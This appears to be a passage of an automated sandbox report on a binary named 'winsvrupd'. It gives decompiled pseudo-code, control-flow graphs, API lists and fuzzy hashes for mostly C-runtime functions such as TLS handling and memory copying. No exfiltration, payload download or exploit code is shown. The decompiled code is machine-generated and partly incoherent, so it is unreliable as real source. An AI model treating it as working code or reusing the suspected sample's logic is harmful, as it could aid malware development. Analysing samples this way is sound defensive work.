                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3263
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3269
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce326d
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3279
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce327c
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3286
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3289
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce328b
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3294
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce32a1
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce32a8
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce32ab
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce32b0
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce32b9
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce32c5
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce32c9
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce32cc
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce32dc
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce32e4
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce32ee
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce330a
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce331c
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3322
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3331

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: memcpymemset
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1297977491-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: c360acbc204d028e58436b786efc612dcfd195c6ef207ad01e7942446440ec6a
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 977c76a41ca7d8150215b9a7349a6d145418872ea6d1c15597860364aef6035b
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c360acbc204d028e58436b786efc612dcfd195c6ef207ad01e7942446440ec6a
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 56D1A221A1C6C255EB91FB25E8463B9A6B1BF557CCF648035EA4C87792EFBEE040C740
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE5EC0 Relevance: 15.2, APIs: 10, Instructions: 152COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                                                                      control_flow_graph 301 7ff642ce5ec0-7ff642ce5edc 302 7ff642ce5ede-7ff642ce5ee5 301->302 303 7ff642ce5ef8-7ff642ce5eff 301->303 306 7ff642ce5ee7-7ff642ce5ef3 302->306 304 7ff642ce5f01-7ff642ce5f29 GetLastError TlsGetValue SetLastError 303->304 305 7ff642ce5f70-7ff642ce5f76 303->305 307 7ff642ce5f2f-7ff642ce5f35 304->307 308 7ff642ce5fe0-7ff642ce5ffa call 7ff642ceb0a0 304->308 309 7ff642ce608a-7ff642ce6091 305->309 310 7ff642ce5f7c-7ff642ce5f86 305->310 311 7ff642ce5f3b-7ff642ce5f47 307->311 312 7ff642ce6028-7ff642ce604f call 7ff642ceb0f8 307->312 324 7ff642ce6113-7ff642ce6123 abort 308->324 325 7ff642ce6000 308->325 309->304 315 7ff642ce6097-7ff642ce60ad 309->315 313 7ff642ce5f8c-7ff642ce5f94 310->313 314 7ff642ce60b8-7ff642ce60c0 310->314 311->306 317 7ff642ce5f49-7ff642ce5f4c call 7ff642ce5dc0 311->317 312->324 338 7ff642ce6055-7ff642ce606f memset 312->338 319 7ff642ce5f9a-7ff642ce5fa1 313->319 320 7ff642ce60ec-7ff642ce6100 WaitForSingleObject 313->320 321 7ff642ce60c2-7ff642ce60da 314->321 322 7ff642ce6071-7ff642ce6076 call 7ff642ce5e60 314->322 337 7ff642ce5f51-7ff642ce5f56 317->337 319->315 330 7ff642ce5fa7-7ff642ce5fab 319->330 320->319 326 7ff642ce6106-7ff642ce610e 320->326 331 7ff642ce6080-7ff642ce6084 321->331 332 7ff642ce60dc 321->332 322->331 335 7ff642ce6125-7ff642ce6128 324->335 336 7ff642ce6130-7ff642ce6134 324->336 334 7ff642ce6003-7ff642ce6014 TlsSetValue 325->334 326->319 330->304 340 7ff642ce5fb1-7ff642ce5fb9 330->340 331->309 331->313 333 7ff642ce60e0-7ff642ce60e8 Sleep 332->333 333->333 341 7ff642ce60ea 333->341 334->311 342 7ff642ce601a-7ff642ce601d GetLastError 334->342 335->336 343 7ff642ce613a-7ff642ce613d 336->343 344 7ff642ce6136 336->344 337->306 338->334 340->304 345 7ff642ce5fbf-7ff642ce5fd4 ReleaseSemaphore 340->345 341->331 342->311 346 7ff642ce6144 343->346 347 7ff642ce613f-7ff642ce6142 343->347 344->343 345->304 347->346 348 7ff642ce6148-7ff642ce614c 347->348
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE5EC0(void* __eax, void* __rcx) {
				intOrPtr* _t8;

				_t8 =  *0x42ed9a80; // 0x7ff642ed8690
				r11d =  *_t8;
				if (r11d != 0) goto 0x42ce5ef8;
				if ( *((intOrPtr*)(__rcx + 0x10)) == 0) goto 0x42ce5f60;
				return __eax;
			}




                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce5ecc
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce5ed3
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce5edc
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce5ee5
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce5ef3

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: ErrorLast$Value
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1883355122-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 1d1363e7c3b35a681c9190f9c717d2bca848ec497e7242ead971e6d523f8a212
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 5d7e5ac0d25e6f233a6a10b3fea6b01e135b59d91e96618d558e4083fba72d5a
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1d1363e7c3b35a681c9190f9c717d2bca848ec497e7242ead971e6d523f8a212
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 30614B32A2D65385EA95FB15A80577922B5BF90BCCF788039D95DC7690CEBFE802C341
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE58A0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Value$_assertcalloc
                                                                                                                                                                                                                                                                                                                                                      • String ID: !dso || dso == &__dso_handle$../../src/mingw-w64/mingw-w64-crt/crt/tls_atexit.c
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3698345500-799109717
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 5be4e42dc6d13e70a177a11c1c7abb31277a1dc85abe525adb04e81cab0449a6
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 92864fbc22019d4e5b13f9480699e570ebc5cf77456f486146cba7f26b8a11ac
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5be4e42dc6d13e70a177a11c1c7abb31277a1dc85abe525adb04e81cab0449a6
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 77012D61B1D25386F655FB55FC416B522A0BF987D8FA84038DA1CC7790EEAEE982C300
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE5DC0 Relevance: 7.6, APIs: 5, Instructions: 53COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: malloc$abortmemcpymemset
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 4174897659-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: f70eb5b8fcce8cb373406a3fb48a15e4bb55075b034922404e72621f0a48438f
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 029cb308c25ecd82c8df3986ce332947eafe8a04efb9354d885b80239ec703bb
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f70eb5b8fcce8cb373406a3fb48a15e4bb55075b034922404e72621f0a48438f
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A201E562B0968540FD85FB56E5427F95270BB54FC8FA48131DE2C57385EE3DE982C340
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE3730 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 48COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: memsetwcscpywcslen
                                                                                                                                                                                                                                                                                                                                                      • String ID: 0
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3616488086-4108050209
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 35cbb7fe2e813dd4d04e72e03a8a7c81734691e1f37f8ec0d391e8f6cc3d167c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 7f0d96589fa41c08ac6585c6f3e7526f49d11aab27cb53b18aa0056f12ec5ce4
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 35cbb7fe2e813dd4d04e72e03a8a7c81734691e1f37f8ec0d391e8f6cc3d167c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A111082162C69081E790E711E4163ABA670EFC47A8FA00331FA9C87BD5DF7ED1428740
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE5790 Relevance: 4.5, APIs: 3, Instructions: 20COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE5790(void* __eax, void* __edx) {

				if (__edx == 0) goto 0x42ce57a0;
				return __eax;
			}



                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce5796
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce579c

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Value$Free
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2242701089-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 5f5e33732f1a2baa0488548fcf08a49a416277df25ee702b3d386eb0f6878d40
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: c6cc4f18c4d609ba22a4fb368c7c180f8c3ef79219cc2a814a63daf2d380b96d
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5f5e33732f1a2baa0488548fcf08a49a416277df25ee702b3d386eb0f6878d40
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 47F01229E2D503C6EA10FF10EC411392375BFD43ACFA44038D40DC2275CEAEE506CA00
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE3A50 Relevance: 3.8, APIs: 3, Instructions: 71COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 30%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE3A50(void* __eax, void* __edi, void* __esp, void* __rax, void* __rcx) {
				char _v584;
				void* _v632;
				char _v644;
				char _v648;
				void* _v668;
				intOrPtr _v692;
				long long _v700;
				intOrPtr _v708;
				intOrPtr _v716;
				intOrPtr _v724;
				intOrPtr _v732;
				long long _v740;
				void* _t25;
				void* _t26;
				void* _t43;
				signed long long _t44;
				long long _t62;
				void* _t63;

				r12d = 0;
				_t1 =  &_v584; // 0x781
				0x42ceb138();
				_t2 =  &_v648; // 0x741
				_t63 = __rax;
				goto 0x42ce3a93;
				if (__eax == 0x2f) goto 0x42ce3a9e;
				_t44 = _t43 + 1;
				if (__rax - _t44 < 0) goto 0x42ce3b55;
				if (( *(__rcx + _t44 * 2) & 0x0000ffff) != 0x5c) goto 0x42ce3a80;
				r8d = 0x208;
				memset(??, ??, ??);
				0x42ceb130();
				 *((short*)(_t1 + _t44 * 2)) = 0;
				memset(__edi, 0, 6 << 0);
				_t9 =  &_v644; // 0x751
				E00007FF67FF642CE3890(_t9, _t2, _t1);
				_v692 = 0;
				_v700 = _t62;
				_v708 = 1;
				_v716 = 3;
				_v724 = 0;
				_v732 = 0x80;
				_v740 = _t62;
				_t25 = E00007FF67FF642CE476D(_t2); // executed
				if (_t25 < 0) goto 0x42ce3b43;
				_t26 = E00007FF67FF642CE47AF(_t2);
				if (_t63 - _t44 + 1 >= 0) goto 0x42ce3a93;
				return _t26;
			}





















                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3a63
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3a66
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3a71
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3a76
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3a7b
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3a7e
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3a84
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3a86
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3a8d
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3a9c
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3a9e
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3aa9
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3ab4
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3ac3
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3ad5
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3ad8
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3ae3
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3af0
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3af8
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3b09
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3b11
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3b19
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3b21
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3b29
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3b2e
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3b3c
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3b43
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3b4f
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce3b66

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588202618.00007FF642EE0000.00000008.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588236189.00007FF642EE1000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_15_2_7ff642ce0000_winsvrupd.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: memsetwcscpywcslen
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 3616488086-0
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 6480716a8e3f398fb20f6531f08f81cc87953ec7002c3558ac9a44c1fde69681
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: a6770de57aadf9f0461ed7676480dffdcde3f4d501b4746fc13bc6a044fe5f5f
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6480716a8e3f398fb20f6531f08f81cc87953ec7002c3558ac9a44c1fde69681
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4E21D82261C24151E6A0FF11A4057BBA670FB847A8F600235EE9D97AD5EFBEE146C740
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF642CE1560 Relevance: 3.1, APIs: 2, Instructions: 110COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E00007FF67FF642CE1560(void* __rdx, void* __r8, void* __r9) {
				void* _t1;
				void* _t3;

				_t1 = E00007FF67FF642CE3730(_t3); // executed
				if (_t1 == 0) goto 0x42ce1598;
				return _t1;
			}





                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce157a
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1581
                                                                                                                                                                                                                                                                                                                                                      0x7ff642ce1594

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 0000000F.00000002.573639335.00007FF642CE1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF642CE0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.573349661.00007FF642CE0000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.574050946.00007FF642CEC000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588087938.00007FF642ED9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 0000000F.00000002.588148892.00007FF642EDD000.00000004.00000001.01000000.0000000E.sdmpDownload File
